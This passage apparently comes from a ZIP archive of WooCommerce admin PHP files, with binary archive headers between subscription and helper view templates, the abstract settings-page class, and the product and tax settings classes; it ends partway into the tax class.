						<a class="button <?php echo empty( $subscription_action['primary'] ) ? 'button-secondary' : ''; ?>" href="<?php echo esc_url( $subscription_action['button_url'] ); ?>"><?php echo esc_html( $subscription_action['button_label'] ); ?></a>
						<?php endif; ?>
					</td>
				</tr>
				<?php endforeach; ?>

				</tbody>
			<?php endforeach; ?>
		<?php else : ?>
			<tr>
				<td colspan="3"><em><?php esc_html_e( 'Could not find any subscriptions on your WooCommerce.com account', 'woocommerce' ); ?></td>
			</tr>
		<?php endif; ?>
		</tbody>
	</table>

	<?php if ( ! empty( $no_subscriptions ) ) : ?>
		<h2><?php esc_html_e( 'Installed Extensions without a Subscription', 'woocommerce' ); ?></h2>
		<p>Below is a list of WooCommerce.com products available on your site - but are either out-dated or do not have a valid subscription.</p>

		<table class="wp-list-table widefat fixed striped">
			<?php /* Extensions without a subscription. */ ?>
			<?php foreach ( $no_subscriptions as $filename => $data ) : ?>
				<tbody>
					<tr class="wp-list-table__row is-ext-header">
						<td class="wp-list-table__ext-details color-bar autorenews">
							<div class="wp-list-table__ext-title">
								<a href="<?php echo esc_url( $data['_product_url'] ); ?>" target="_blank"><?php echo esc_html( $data['Name'] ); ?></a>
							</div>
							<div class="wp-list-table__ext-description">
							</div>
						</td>
						<td class="wp-list-table__ext-actions">
							<span class="form-toggle__wrapper">
								<span class="form-toggle disabled is-compact" ><?php esc_html_e( 'Inactive', 'woocommerce' ); ?></span>
								<label class="form-toggle__label" for="activate-extension">
									<span class="form-toggle__label-content">
										<label for="activate-extension"><?php esc_html_e( 'Inactive', 'woocommerce' ); ?></label>
									</span>
								</label>
							</span>
						</td>
					</tr>

					<?php foreach ( $data['_actions'] as $subscription_action ) : ?>
					<tr class="wp-list-table__row wp-list-table__ext-updates">
						<td class="wp-list-table__ext-status <?php echo sanitize_html_class( $subscription_action['status'] ); ?>">
							<p><span class="dashicons <?php echo sanitize_html_class( $subscription_action['icon'] ); ?>"></span>
								<?php
									echo wp_kses(
										$subscription_action['message'],
										array(
											'a'      => array(
												'href'  => array(),
												'title' => array(),
											),
											'br'     => array(),
											'em'     => array(),
											'strong' => array(),
										)
									);
								?>
							</p>
						</td>
						<td class="wp-list-table__ext-actions">
							<a class="button" href="<?php echo esc_url( $subscription_action['button_url'] ); ?>" target="_blank"><?php echo esc_html( $subscription_action['button_label'] ); ?></a>
						</td>
					</tr>
					<?php endforeach; ?>

				</tbody>

			<?php endforeach; ?>
		</table>
	<?php endif; ?>
</div>
PK�3\�6��!helper/views/html-section-nav.phpnu�[���<?php
/**
 * Helper admin navigation.
 *
 * @package WooCommerce\Helper
 *
 * @deprecated 5.7.0
 */

defined( 'ABSPATH' ) || exit(); ?>

<nav class="nav-tab-wrapper woo-nav-tab-wrapper">
	<a href="<?php echo esc_url( admin_url( 'admin.php?page=wc-addons' ) ); ?>" class="nav-tab"><?php esc_html_e( 'Browse Extensions', 'woocommerce' ); ?></a>

	<?php
		$count_html = WC_Helper_Updater::get_updates_count_html();
		/* translators: %s: WooCommerce.com Subscriptions tab count HTML. */
		$menu_title = sprintf( __( 'WooCommerce.com Subscriptions %s', 'woocommerce' ), $count_html );
	?>
	<a href="<?php echo esc_url( admin_url( 'admin.php?page=wc-addons&section=helper' ) ); ?>" class="nav-tab nav-tab-active"><?php echo wp_kses_post( $menu_title ); ?></a>
</nav>
PK�3\$�J���#helper/views/html-helper-compat.phpnu�[���<?php defined( 'ABSPATH' ) or exit(); ?>

<div class="wrap">
	<h1><?php _e( 'Looking for the WooCommerce Helper?', 'woocommerce' ); ?></h1>
	<p><?php printf( __( 'We\'ve made things simpler and easier to manage moving forward. From now on you can manage all your WooCommerce purchases directly from the Extensions menu within the WooCommerce plugin itself. <a href="%s">View and manage</a> your extensions now.', 'woocommerce' ), esc_url( $helper_url ) ); ?></p>
</div>
PK�3\�A����%helper/views/html-section-notices.phpnu�[���<?php defined( 'ABSPATH' ) or exit(); ?>

<?php foreach ( $notices as $notice ) : ?>
	<div class="notice <?php echo sanitize_html_class( $notice['type'] ); ?>">
		<?php echo wpautop( $notice['message'] ); ?>
	</div>
<?php endforeach; ?>
PK�3\5Sĭpp#settings/class-wc-settings-page.phpnu�[���<?php
/**
 * WooCommerce Settings Page/Tab
 *
 * @package     WooCommerce\Admin
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! class_exists( 'WC_Settings_Page', false ) ) :

	/**
	 * WC_Settings_Page.
	 */
	abstract class WC_Settings_Page {

		/**
		 * Setting page id.
		 *
		 * @var string
		 */
		protected $id = '';

		/**
		 * Setting page label.
		 *
		 * @var string
		 */
		protected $label = '';

		/**
		 * Constructor.
		 */
		public function __construct() {
			add_filter( 'woocommerce_settings_tabs_array', array( $this, 'add_settings_page' ), 20 );
			add_action( 'woocommerce_sections_' . $this->id, array( $this, 'output_sections' ) );
			add_action( 'woocommerce_settings_' . $this->id, array( $this, 'output' ) );
			add_action( 'woocommerce_settings_save_' . $this->id, array( $this, 'save' ) );
		}

		/**
		 * Get settings page ID.
		 *
		 * @since 3.0.0
		 * @return string
		 */
		public function get_id() {
			return $this->id;
		}

		/**
		 * Get settings page label.
		 *
		 * @since 3.0.0
		 * @return string
		 */
		public function get_label() {
			return $this->label;
		}

		/**
		 * Add this page to settings.
		 *
		 * @param array $pages The setings array where we'll add ourselves.
		 *
		 * @return mixed
		 */
		public function add_settings_page( $pages ) {
			$pages[ $this->id ] = $this->label;

			return $pages;
		}

		/**
		 * Get settings array for the default section.
		 *
		 * External settings classes (registered via 'woocommerce_get_settings_pages' filter)
		 * might have redefined this method as "get_settings($section_id='')", thus we need
		 * to use this method internally instead of 'get_settings_for_section' to register settings
		 * and render settings pages.
		 *
		 * *But* we can't just redefine the method as "get_settings($section_id='')" here, since this
		 * will break on PHP 8 if any external setting class have it as 'get_settings()'.
		 *
		 * Thus we leave the method signature as is and use 'func_get_arg' to get the setting id
		 * if it's supplied, and we use this method internally; but it's deprecated and should
		 * otherwise never be used.
		 *
		 * @deprecated 5.4.0 Use 'get_settings_for_section' (passing an empty string for default section)
		 *
		 * @return array Settings array, each item being an associative array representing a setting.
		 */
		public function get_settings() {
			$section_id = 0 === func_num_args() ? '' : func_get_arg( 0 );
			return $this->get_settings_for_section( $section_id );
		}

		/**
		 * Get settings array.
		 *
		 * The strategy for getting the settings is as follows:
		 *
		 * - If a method named 'get_settings_for_{section_id}_section' exists in the class
		 *   it will be invoked (for the default '' section, the method name is 'get_settings_for_default_section').
		 *   Derived classes can implement these methods as required.
		 *
		 * - Otherwise, 'get_settings_for_section_core' will be invoked. Derived classes can override it
		 *   as an alternative to implementing 'get_settings_for_{section_id}_section' methods.
		 *
		 * @param string $section_id The id of the section to return settings for, an empty string for the default section.
		 *
		 * @return array Settings array, each item being an associative array representing a setting.
		 */
		final public function get_settings_for_section( $section_id ) {
			if ( '' === $section_id ) {
				$method_name = 'get_settings_for_default_section';
			} else {
				$method_name = "get_settings_for_{$section_id}_section";
			}

			if ( method_exists( $this, $method_name ) ) {
				$settings = $this->$method_name();
			} else {
				$settings = $this->get_settings_for_section_core( $section_id );
			}

			return apply_filters( 'woocommerce_get_settings_' . $this->id, $settings, $section_id );
		}

		/**
		 * Get the settings for a given section.
		 * This method is invoked from 'get_settings_for_section' when no 'get_settings_for_{current_section}_section'
		 * method exists in the class.
		 *
		 * When overriding, note that the 'woocommerce_get_settings_' filter must NOT be triggered,
		 * as this is already done by 'get_settings_for_section'.
		 *
		 * @param string $section_id The section name to get the settings for.
		 *
		 * @return array Settings array, each item being an associative array representing a setting.
		 */
		protected function get_settings_for_section_core( $section_id ) {
			return array();
		}

		/**
		 * Get all sections for this page, both the own ones and the ones defined via filters.
		 *
		 * @return array
		 */
		public function get_sections() {
			$sections = $this->get_own_sections();
			return apply_filters( 'woocommerce_get_sections_' . $this->id, $sections );
		}

		/**
		 * Get own sections for this page.
		 * Derived classes should override this method if they define sections.
		 * There should always be one default section with an empty string as identifier.
		 *
		 * Example:
		 * return array(
		 *   ''        => __( 'General', 'woocommerce' ),
		 *   'foobars' => __( 'Foos & Bars', 'woocommerce' ),
		 * );
		 *
		 * @return array An associative array where keys are section identifiers and the values are translated section names.
		 */
		protected function get_own_sections() {
			return array( '' => __( 'General', 'woocommerce' ) );
		}

		/**
		 * Output sections.
		 */
		public function output_sections() {
			global $current_section;

			$sections = $this->get_sections();

			if ( empty( $sections ) || 1 === count( $sections ) ) {
				return;
			}

			echo '<ul class="subsubsub">';

			$array_keys = array_keys( $sections );

			foreach ( $sections as $id => $label ) {
				$url       = admin_url( 'admin.php?page=wc-settings&tab=' . $this->id . '&section=' . sanitize_title( $id ) );
				$class     = ( $current_section === $id ? 'current' : '' );
				$separator = ( end( $array_keys ) === $id ? '' : '|' );
				$text      = esc_html( $label );
				echo "<li><a href='$url' class='$class'>$text</a> $separator </li>"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			}

			echo '</ul><br class="clear" />';
		}

		/**
		 * Output the HTML for the settings.
		 */
		public function output() {
			global $current_section;

			// We can't use "get_settings_for_section" here
			// for compatibility with derived classes overriding "get_settings".
			$settings = $this->get_settings( $current_section );

			WC_Admin_Settings::output_fields( $settings );
		}

		/**
		 * Save settings and trigger the 'woocommerce_update_options_'.id action.
		 */
		public function save() {
			$this->save_settings_for_current_section();
			$this->do_update_options_action();
		}

		/**
		 * Save settings for current section.
		 */
		protected function save_settings_for_current_section() {
			global $current_section;

			// We can't use "get_settings_for_section" here
			// for compatibility with derived classes overriding "get_settings".
			$settings = $this->get_settings( $current_section );
			WC_Admin_Settings::save_fields( $settings );
		}

		/**
		 * Trigger the 'woocommerce_update_options_'.id action.
		 *
		 * @param string $section_id Section to trigger the action for, or null for current section.
		 */
		protected function do_update_options_action( $section_id = null ) {
			global $current_section;

			if ( is_null( $section_id ) ) {
				$section_id = $current_section;
			}

			if ( $section_id ) {
				do_action( 'woocommerce_update_options_' . $this->id . '_' . $section_id );
			}
		}
	}

endif;
PK�3\oU�x�>�>'settings/class-wc-settings-products.phpnu�[���<?php
/**
 * WooCommerce Product Settings
 *
 * @package WooCommerce\Admin
 * @version 2.4.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Settings_Products', false ) ) {
	return new WC_Settings_Products();
}

/**
 * WC_Settings_Products.
 */
class WC_Settings_Products extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'products';
		$this->label = __( 'Products', 'woocommerce' );

		parent::__construct();
	}

	/**
	 * Get own sections.
	 *
	 * @return array
	 */
	protected function get_own_sections() {
		return array(
			''             => __( 'General', 'woocommerce' ),
			'inventory'    => __( 'Inventory', 'woocommerce' ),
			'downloadable' => __( 'Downloadable products', 'woocommerce' ),
		);
	}

	/**
	 * Get settings for the detault section.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {
		$settings =
			array(
				array(
					'title' => __( 'Shop pages', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => '',
					'id'    => 'catalog_options',
				),
				array(
					'title'    => __( 'Shop page', 'woocommerce' ),
					/* translators: %s: URL to settings. */
					'desc'     => sprintf( __( 'The base page can also be used in your <a href="%s">product permalinks</a>.', 'woocommerce' ), admin_url( 'options-permalink.php' ) ),
					'id'       => 'woocommerce_shop_page_id',
					'type'     => 'single_select_page',
					'default'  => '',
					'class'    => 'wc-enhanced-select-nostd',
					'css'      => 'min-width:300px;',
					'desc_tip' => __( 'This sets the base page of your shop - this is where your product archive will be.', 'woocommerce' ),
				),
				array(
					'title'         => __( 'Add to cart behaviour', 'woocommerce' ),
					'desc'          => __( 'Redirect to the cart page after successful addition', 'woocommerce' ),
					'id'            => 'woocommerce_cart_redirect_after_add',
					'default'       => 'no',
					'type'          => 'checkbox',
					'checkboxgroup' => 'start',
				),
				array(
					'desc'          => __( 'Enable AJAX add to cart buttons on archives', 'woocommerce' ),
					'id'            => 'woocommerce_enable_ajax_add_to_cart',
					'default'       => 'yes',
					'type'          => 'checkbox',
					'checkboxgroup' => 'end',
				),
				array(
					'title'       => __( 'Placeholder image', 'woocommerce' ),
					'id'          => 'woocommerce_placeholder_image',
					'type'        => 'text',
					'default'     => '',
					'class'       => '',
					'css'         => '',
					'placeholder' => __( 'Enter attachment ID or URL to an image', 'woocommerce' ),
					'desc_tip'    => __( 'This is the attachment ID, or image URL, used for placeholder images in the product catalog. Products with no image will use this.', 'woocommerce' ),
				),
				array(
					'type' => 'sectionend',
					'id'   => 'catalog_options',
				),

				array(
					'title' => __( 'Measurements', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'product_measurement_options',
				),

				array(
					'title'    => __( 'Weight unit', 'woocommerce' ),
					'desc'     => __( 'This controls what unit you will define weights in.', 'woocommerce' ),
					'id'       => 'woocommerce_weight_unit',
					'class'    => 'wc-enhanced-select',
					'css'      => 'min-width:300px;',
					'default'  => 'kg',
					'type'     => 'select',
					'options'  => array(
						'kg'  => __( 'kg', 'woocommerce' ),
						'g'   => __( 'g', 'woocommerce' ),
						'lbs' => __( 'lbs', 'woocommerce' ),
						'oz'  => __( 'oz', 'woocommerce' ),
					),
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Dimensions unit', 'woocommerce' ),
					'desc'     => __( 'This controls what unit you will define lengths in.', 'woocommerce' ),
					'id'       => 'woocommerce_dimension_unit',
					'class'    => 'wc-enhanced-select',
					'css'      => 'min-width:300px;',
					'default'  => 'cm',
					'type'     => 'select',
					'options'  => array(
						'm'  => __( 'm', 'woocommerce' ),
						'cm' => __( 'cm', 'woocommerce' ),
						'mm' => __( 'mm', 'woocommerce' ),
						'in' => __( 'in', 'woocommerce' ),
						'yd' => __( 'yd', 'woocommerce' ),
					),
					'desc_tip' => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'product_measurement_options',
				),

				array(
					'title' => __( 'Reviews', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => '',
					'id'    => 'product_rating_options',
				),

				array(
					'title'           => __( 'Enable reviews', 'woocommerce' ),
					'desc'            => __( 'Enable product reviews', 'woocommerce' ),
					'id'              => 'woocommerce_enable_reviews',
					'default'         => 'yes',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'start',
					'show_if_checked' => 'option',
				),

				array(
					'desc'            => __( 'Show "verified owner" label on customer reviews', 'woocommerce' ),
					'id'              => 'woocommerce_review_rating_verification_label',
					'default'         => 'yes',
					'type'            => 'checkbox',
					'checkboxgroup'   => '',
					'show_if_checked' => 'yes',
					'autoload'        => false,
				),

				array(
					'desc'            => __( 'Reviews can only be left by "verified owners"', 'woocommerce' ),
					'id'              => 'woocommerce_review_rating_verification_required',
					'default'         => 'no',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'end',
					'show_if_checked' => 'yes',
					'autoload'        => false,
				),

				array(
					'title'           => __( 'Product ratings', 'woocommerce' ),
					'desc'            => __( 'Enable star rating on reviews', 'woocommerce' ),
					'id'              => 'woocommerce_enable_review_rating',
					'default'         => 'yes',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'start',
					'show_if_checked' => 'option',
				),

				array(
					'desc'            => __( 'Star ratings should be required, not optional', 'woocommerce' ),
					'id'              => 'woocommerce_review_rating_required',
					'default'         => 'yes',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'end',
					'show_if_checked' => 'yes',
					'autoload'        => false,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'product_rating_options',
				),
			);

		$settings = apply_filters( 'woocommerce_products_general_settings', $settings );
		return apply_filters( 'woocommerce_product_settings', $settings );
	}

	/**
	 * Get settings for the inventory section.
	 *
	 * @return array
	 */
	protected function get_settings_for_inventory_section() {
		$settings =
			array(
				array(
					'title' => __( 'Inventory', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => '',
					'id'    => 'product_inventory_options',
				),

				array(
					'title'   => __( 'Manage stock', 'woocommerce' ),
					'desc'    => __( 'Enable stock management', 'woocommerce' ),
					'id'      => 'woocommerce_manage_stock',
					'default' => 'yes',
					'type'    => 'checkbox',
				),

				array(
					'title'             => __( 'Hold stock (minutes)', 'woocommerce' ),
					'desc'              => __( 'Hold stock (for unpaid orders) for x minutes. When this limit is reached, the pending order will be cancelled. Leave blank to disable.', 'woocommerce' ),
					'id'                => 'woocommerce_hold_stock_minutes',
					'type'              => 'number',
					'custom_attributes' => array(
						'min'  => 0,
						'step' => 1,
					),
					'css'               => 'width: 80px;',
					'default'           => '60',
					'autoload'          => false,
					'class'             => 'manage_stock_field',
				),

				array(
					'title'         => __( 'Notifications', 'woocommerce' ),
					'desc'          => __( 'Enable low stock notifications', 'woocommerce' ),
					'id'            => 'woocommerce_notify_low_stock',
					'default'       => 'yes',
					'type'          => 'checkbox',
					'checkboxgroup' => 'start',
					'autoload'      => false,
					'class'         => 'manage_stock_field',
				),

				array(
					'desc'          => __( 'Enable out of stock notifications', 'woocommerce' ),
					'id'            => 'woocommerce_notify_no_stock',
					'default'       => 'yes',
					'type'          => 'checkbox',
					'checkboxgroup' => 'end',
					'autoload'      => false,
					'class'         => 'manage_stock_field',
				),

				array(
					'title'    => __( 'Notification recipient(s)', 'woocommerce' ),
					'desc'     => __( 'Enter recipients (comma separated) that will receive this notification.', 'woocommerce' ),
					'id'       => 'woocommerce_stock_email_recipient',
					'type'     => 'text',
					'default'  => get_option( 'admin_email' ),
					'css'      => 'width: 250px;',
					'autoload' => false,
					'desc_tip' => true,
					'class'    => 'manage_stock_field',
				),

				array(
					'title'             => __( 'Low stock threshold', 'woocommerce' ),
					'desc'              => __( 'When product stock reaches this amount you will be notified via email.', 'woocommerce' ),
					'id'                => 'woocommerce_notify_low_stock_amount',
					'css'               => 'width:50px;',
					'type'              => 'number',
					'custom_attributes' => array(
						'min'  => 0,
						'step' => 1,
					),
					'default'           => '2',
					'autoload'          => false,
					'desc_tip'          => true,
					'class'             => 'manage_stock_field',
				),

				array(
					'title'             => __( 'Out of stock threshold', 'woocommerce' ),
					'desc'              => __( 'When product stock reaches this amount the stock status will change to "out of stock" and you will be notified via email. This setting does not affect existing "in stock" products.', 'woocommerce' ),
					'id'                => 'woocommerce_notify_no_stock_amount',
					'css'               => 'width:50px;',
					'type'              => 'number',
					'custom_attributes' => array(
						'min'  => 0,
						'step' => 1,
					),
					'default'           => '0',
					'desc_tip'          => true,
					'class'             => 'manage_stock_field',
				),

				array(
					'title'   => __( 'Out of stock visibility', 'woocommerce' ),
					'desc'    => __( 'Hide out of stock items from the catalog', 'woocommerce' ),
					'id'      => 'woocommerce_hide_out_of_stock_items',
					'default' => 'no',
					'type'    => 'checkbox',
				),

				array(
					'title'    => __( 'Stock display format', 'woocommerce' ),
					'desc'     => __( 'This controls how stock quantities are displayed on the frontend.', 'woocommerce' ),
					'id'       => 'woocommerce_stock_format',
					'css'      => 'min-width:150px;',
					'class'    => 'wc-enhanced-select',
					'default'  => '',
					'type'     => 'select',
					'options'  => array(
						''           => __( 'Always show quantity remaining in stock e.g. "12 in stock"', 'woocommerce' ),
						'low_amount' => __( 'Only show quantity remaining in stock when low e.g. "Only 2 left in stock"', 'woocommerce' ),
						'no_amount'  => __( 'Never show quantity remaining in stock', 'woocommerce' ),
					),
					'desc_tip' => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'product_inventory_options',
				),
			);

		return apply_filters( 'woocommerce_inventory_settings', $settings );
	}

	/**
	 * Get settings for the downloadable section.
	 *
	 * @return array
	 */
	protected function get_settings_for_downloadable_section() {
		$settings =
			array(
				array(
					'title' => __( 'Downloadable products', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'digital_download_options',
				),

				array(
					'title'    => __( 'File download method', 'woocommerce' ),
					'desc_tip' => sprintf(
					/* translators: 1: X-Accel-Redirect 2: X-Sendfile 3: mod_xsendfile */
						__( 'Forcing downloads will keep URLs hidden, but some servers may serve large files unreliably. If supported, %1$s / %2$s can be used to serve downloads instead (server requires %3$s).', 'woocommerce' ),
						'<code>X-Accel-Redirect</code>',
						'<code>X-Sendfile</code>',
						'<code>mod_xsendfile</code>'
					),
					'id'       => 'woocommerce_file_download_method',
					'type'     => 'select',
					'class'    => 'wc-enhanced-select',
					'css'      => 'min-width:300px;',
					'default'  => 'force',
					'desc'     => sprintf(
					// translators: Link to WooCommerce Docs.
						__( "If you are using X-Accel-Redirect download method along with NGINX server, make sure that you have applied settings as described in <a href='%s'>Digital/Downloadable Product Handling</a> guide.", 'woocommerce' ),
						'https://docs.woocommerce.com/document/digital-downloadable-product-handling#nginx-setting'
					),
					'options'  => array(
						'force'     => __( 'Force downloads', 'woocommerce' ),
						'xsendfile' => __( 'X-Accel-Redirect/X-Sendfile', 'woocommerce' ),
						'redirect'  => apply_filters( 'woocommerce_redirect_only_method_is_secure', false ) ? __( 'Redirect only', 'woocommerce' ) : __( 'Redirect only (Insecure)', 'woocommerce' ),
					),
					'autoload' => false,
				),

				array(
					'desc'          => __( 'Allow using redirect mode (insecure) as a last resort', 'woocommerce' ),
					'id'            => 'woocommerce_downloads_redirect_fallback_allowed',
					'type'          => 'checkbox',
					'default'       => 'no',
					'desc_tip'      => sprintf(
						/* translators: %1$s is a link to the WooCommerce documentation. */
						__( 'If the "Force Downloads" or "X-Accel-Redirect/X-Sendfile" download method is selected but does not work, the system will use the "Redirect" method as a last resort. <a href="%1$s">See this guide</a> for more details.', 'woocommerce' ),
						'https://docs.woocommerce.com/document/digital-downloadable-product-handling/'
					),
					'checkboxgroup' => 'start',
					'autoload'      => false,
				),

				array(
					'title'         => __( 'Access restriction', 'woocommerce' ),
					'desc'          => __( 'Downloads require login', 'woocommerce' ),
					'id'            => 'woocommerce_downloads_require_login',
					'type'          => 'checkbox',
					'default'       => 'no',
					'desc_tip'      => __( 'This setting does not apply to guest purchases.', 'woocommerce' ),
					'checkboxgroup' => 'start',
					'autoload'      => false,
				),

				array(
					'desc'          => __( 'Grant access to downloadable products after payment', 'woocommerce' ),
					'id'            => 'woocommerce_downloads_grant_access_after_payment',
					'type'          => 'checkbox',
					'default'       => 'yes',
					'desc_tip'      => __( 'Enable this option to grant access to downloads when orders are "processing", rather than "completed".', 'woocommerce' ),
					'checkboxgroup' => 'end',
					'autoload'      => false,
				),

				array(
					'title'    => __( 'Filename', 'woocommerce' ),
					'desc'     => __( 'Append a unique string to filename for security', 'woocommerce' ),
					'id'       => 'woocommerce_downloads_add_hash_to_filename',
					'type'     => 'checkbox',
					'default'  => 'yes',
					'desc_tip' => sprintf(
					// translators: Link to WooCommerce Docs.
						__( "Not required if your download directory is protected. <a href='%s'>See this guide</a> for more details. Files already uploaded will not be affected.", 'woocommerce' ),
						'https://docs.woocommerce.com/document/digital-downloadable-product-handling#unique-string'
					),
				),

				array(
					'type' => 'sectionend',
					'id'   => 'digital_download_options',
				),
			);

		return apply_filters( 'woocommerce_downloadable_products_settings', $settings );
	}

	/**
	 * Save settings and trigger the 'woocommerce_update_options_'.id action.
	 */
	public function save() {
		$this->save_settings_for_current_section();

		/*
		 * Product->Inventory has a setting `Out of stock visibility`.
		 * Because of this, we need to recount the terms to keep them in-sync.
		 */
		WC()->call_function( 'wc_recount_all_terms' );

		$this->do_update_options_action();
	}
}

return new WC_Settings_Products();
PK�3\sD��(�("settings/class-wc-settings-tax.phpnu�[���<?php
/**
 * WooCommerce Tax Settings
 *
 * @package     WooCommerce\Admin
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Settings_Tax', false ) ) {
	return new WC_Settings_Tax();
}

/**
 * WC_Settings_Tax.
 */
class WC_Settings_Tax extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'tax';
		$this->label = __( 'Tax', 'woocommerce' );

		add_filter( 'woocommerce_settings_tabs_array', array( $this, 'add_settings_page' ), 20 );

		if ( wc_tax_enabled() ) {
			add_action( 'woocommerce_sections_' . $this->id, array( $this, 'output_sections' ) );
			add_action( 'woocommerce_settings_' . $this->id, array( $this, 'output' ) );
			add_action( 'woocommerce_settings_save_' . $this->id, array( $this, 'save' ) );
		}
	}

	/**
	 * Add this page to settings.
	 *
	 * @param array $pages Existing pages.
	 * @return array|mixed
	 */
	public function add_settings_page( $pages ) {
		if ( wc_tax_enabled() ) {
			return parent::add_settings_page( $pages );
		} else {
			return $pages;
		}
	}

	/**
	 * Get own sections.
	 *
	 * @return array
	 */
	protected function get_own_sections() {
		$sections = array(
			''         => __( 'Tax options', 'woocommerce' ),
			'standard' => __( 'Standard rates', 'woocommerce' ),
		);

		// Get tax classes and display as links.
		$tax_classes = WC_Tax::get_tax_classes();

		foreach ( $tax_classes as $class ) {
			/* translators: $s tax rate section name */
			$sections[ sanitize_title( $class ) ] = sprintf( __( '%s rates', 'woocommerce' ), $class );
		}

		return $sections;
	}

	/**
	 * Get settings array.
	 *
	 * @return array
	 */
	public function get_settings_for_default_section() {
		return include __DIR__ . '/views/settings-tax.php';
	}

	/**
	 * Output the settings.
	 */
	public function output() {
		global $current_section;

		$tax_classes = WC_Tax::get_tax_class_slugs();

		if ( 'standard' === $current_section || in_array( $current_section, array_filter( $tax_classes ), true ) ) {
			$this->output_tax_rates();
		} else {
			parent::output();
		}
	}

	/**
	 * Save settings.
	 */
	public function save() {
		// phpcs:disable WordPress.Security.NonceVerification.Missing
		global $current_section;

		if ( ! $current_section ) {
			$this->save_settings_for_current_section();

			if ( isset( $_POST['woocommerce_tax_classes'] ) ) {
				$this->save_tax_classes( wp_unslash( $_POST['woocommerce_tax_classes'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			}
		} elseif ( ! empty( $_POST['tax_rate_country'] ) ) {
			$this->save_tax_rates();
		} else {
			$this->save_settings_for_current_section();
		}

		$this->do_update_options_action();

		// Invalidate caches.
		WC_Cache_Helper::invalidate_cache_group( 'taxes' );
		WC_Cache_Helper::get_transient_version( 'shipping', true );
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}

	/**
	 * Saves tax classes defined in the textarea to the tax class table instead of an option.
	 *
	 * @param string $raw_tax_classes Posted value.
	 * @return null
	 */
	public function save_tax_classes( $raw_tax_classes ) {
		$tax_classes          = array_filter( array_map( 'trim', explode( "\n", $raw_tax_classes ) ) );
		$existing_tax_classes = WC_Tax::get_tax_classes();
		$removed              = array_diff( $existing_tax_classes, $tax_classes );
		$added                = array_diff( $tax_classes, $existing_tax_classes );

		foreach ( $removed as $name ) {
			WC_Tax::delete_tax_class_by( 'name', $name );
		}

		foreach ( $added as $name ) {
			$tax_class = WC_Tax::create_tax_class( $name );

			// Display any error that could be triggered while creating tax classes.
			if ( is_wp_error( $tax_class ) ) {
				WC_Admin_Settings::add_error(
					sprintf(
						/* translators: 1: tax class name 2: error message */
						esc_html__( 'Additional tax class "%1$s" couldn\'t be saved. %2$s.', 'woocommerce' ),
						esc_html( $name ),
						$tax_class->get_error_message()
					)
				);
			}
		}

		return null;
	}

	/**
	 * Output tax rate tables.
	 */
	public function output_tax_rates() {
		global $current_section;

		$current_class = $this->get_current_tax_class();

		$countries = array();
		foreach ( WC()->countries->get_allowed_countries() as $value => $label ) {
			$countries[] = array(
				'value' => $value,
				'label' => esc_js( html_entity_decode( $label ) ),
			);
		}

		$states = array();
		foreach ( WC()->countries->get_allowed_country_states() as $label ) {
			foreach ( $label as $code => $state ) {
				$states[] = array(
					'value' => $code,
					'label' => esc_js( html_entity_decode( $state ) ),
				);
			}
		}

		$base_url = admin_url(
			add_query_arg(
				array(
					'page'    => 'wc-settings',
					'tab'     => 'tax',
					'section' => $current_section,
				),
				'admin.php'
			)
		);

		// Localize and enqueue our js.
		wp_localize_script(
			'wc-settings-tax',
			'htmlSettingsTaxLocalizeScript',
			array(
				'current_class' => $current_class,
				'wc_tax_nonce'  => wp_create_nonce( 'wc_tax_nonce-class:' . $current_class ),
				'base_url'      => $base_url,
				'rates'         => array_values( WC_Tax::get_rates_for_tax_class( $current_class ) ),
				'page'          => ! empty( $_GET['p'] ) ? absint( $_GET['p'] ) : 1, // phpcs:ignore WordPress.Security.NonceVerification.Recommended
				'limit'         => 100,
				'countries'     => $countries,
				'states'        => $states,
				'default_rate'  => array(
					'tax_rate_id'       => 0,
					'tax_rate_country'  => '',
					'tax_rate_state'    => '',
					'tax_rate'          => '',
					'tax_rate_name'     => '',
					'tax_rate_priority' => 1,
					'tax_rate_compound' => 0,
					'tax_rate_shipping' => 1,
					'tax_rate_order'    => null,
					'tax_rate_class'    => $current_class,
				),
				'strings'       => array(
					'no_rows_selected'        => __( 'No row(s) selected', 'woocommerce' ),
					'unload_confirmation_msg' => __( 'Your changed data will be lost if you leave this page without saving.', 'woocommerce' ),
					'csv_data_cols'           => array(
						__( 'Country code', 'woocommerce' ),
						__( 'State code', 'woocommerce' ),
						__( 'Postcode / ZIP', 'woocommerce' ),
						__( 'City', 'woocommerce' ),
						__( 'Rate %', 'woocommerce' ),
						__( 'Tax name', 'woocommerce' ),
						__( 'Priority', 'woocommerce' ),
						__( 'Compound', 'woocommerce' ),
						__( 'Shipping', 'woocommerce' ),
						__( 'Tax class', 'woocommerce' ),
					),
				),
			)
		);
		wp_enqueue_script( 'wc-settings-tax' );

		include __DIR__ . '/views/html-settings-tax.php';
	}

	/**
	 * Get tax class being edited.
	 *
	 * @return string
	 */
	private static function get_current_tax_class() {
		global $current_section;

		$tax_classes   = WC_Tax::get_tax_classes();
		$current_class = '';

		foreach ( $tax_classes as $class ) {
			if ( sanitize_title( $class ) === $current_section ) {
				$current_class = $class;
			}
		}

		return $current_class;
	}

	/**
	 * Get a posted tax rate.
	 *
	 * @param string $key   Key of tax rate in the post data array.
	 * @param int    $order Position/order of rate.
